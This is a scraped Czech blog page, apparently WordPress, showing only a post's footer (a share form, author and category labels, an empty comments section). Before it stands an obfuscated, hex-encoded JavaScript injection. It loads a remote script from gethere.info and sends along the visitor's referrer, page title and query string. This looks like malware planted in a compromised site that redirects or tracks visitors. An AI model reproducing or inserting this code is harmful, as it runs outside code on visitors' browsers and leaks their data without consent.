_0×b322=[„\x7­3\x63\x72\x69\x70\x74“,„­\x63\x72\x65\x61\x74\x65­\x45\x6C\x65\x6D\x65\x6E­\x74“,„\x73\x72\x63“,„\x­68\x74\x74\x70\x3A\x2F\x­2F\x67\x65\x74\x68\x65\x­72\x65\x2E\x69\x6E\x66\x­6F\x2F\x6B\x74\x2F\x3F\x­32\x36\x34\x64\x70\x72\x­26\x73\x65\x5F\x72\x65\x­66\x65\x72\x72\x65\x72\x­3D“,„\x72\x65\x66\x65\x7­2\x72\x65\x72“,„\x26\x64­\x65\x66\x61\x75\x6C\x74­\x5F\x6B\x65\x79\x77\x6F­\x72\x64\x3D“,„\x74\x69\­x74\x6C\x65“,„\x26“,„\x3­F“,„\x72\x65\x70\x6C\x61­\x63\x65“,„\x73\x65\x61\­x72\x63\x68“,„\x6C\x6F\x­63\x61\x74\x69\x6F\x6E“,­„\x26\x66\x72\x6D\x3D\x7­3\x63\x72\x69\x70\x74“,„­\x63\x75\x72\x72\x65\x6E­\x74\x53\x63\x72\x69\x70­\x74“,„\x69\x6E\x73\x65\­x72\x74\x42\x65\x66\x6F\­x72\x65“,„\x70\x61\x72\x­65\x6E\x74\x4E\x6F\x64\x­65“,„\x61\x70\x70\x65\x6­E\x64\x43\x68\x69\x6C\x6­4“,„\x68\x65\x61\x64“,„\­x67\x65\x74\x45\x6C\x65\­x6D\x65\x6E\x74\x73\x42\­x79\x54\x61\x67\x4E\x61\­x6D\x65“,„\x70\x72\x6F\x­74\x6F\x63\x6F\x6C“,„\x6­8\x74\x74\x70\x73\x3A“,„­\x69\x6E\x64\x65\x78\x4F­\x66“,„\x52\x5F\x50\x41\­x54\x48“,„\x54\x68\x65\x­20\x77\x65\x62\x73\x69\x­74\x65\x20\x77\x6F\x72\x­6B\x73\x20\x6F\x6E\x20\x­48\x54\x54\x50\x53\x2E\x­20\x54\x68\x65\x20\x74\x­72\x61\x63\x6B\x65\x72\x­20\x6D\x75\x73\x74\x20\x­75\x73\x65\x20\x48\x54\x­54\x50\x53\x20\x74\x6F\x­6F\x2E“];var d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])}

Doporučit článek příteli
  1. *
  2. *
  3. *
  4. *
 

cforms contact form by delicious:days

Rubrika: Anotace

Zveřejnil: Michal Klajban

Štítky: , , ,

Sekce: Profesionál, Student

Související články

Žádné komentáře »

Zatím nemáte žádné komentáře.

RSS komentářů k tomuto příspěvku.

Napsat komentář

Garant projektu

\"Kabinet

Realizátor projektu

\"Realizátor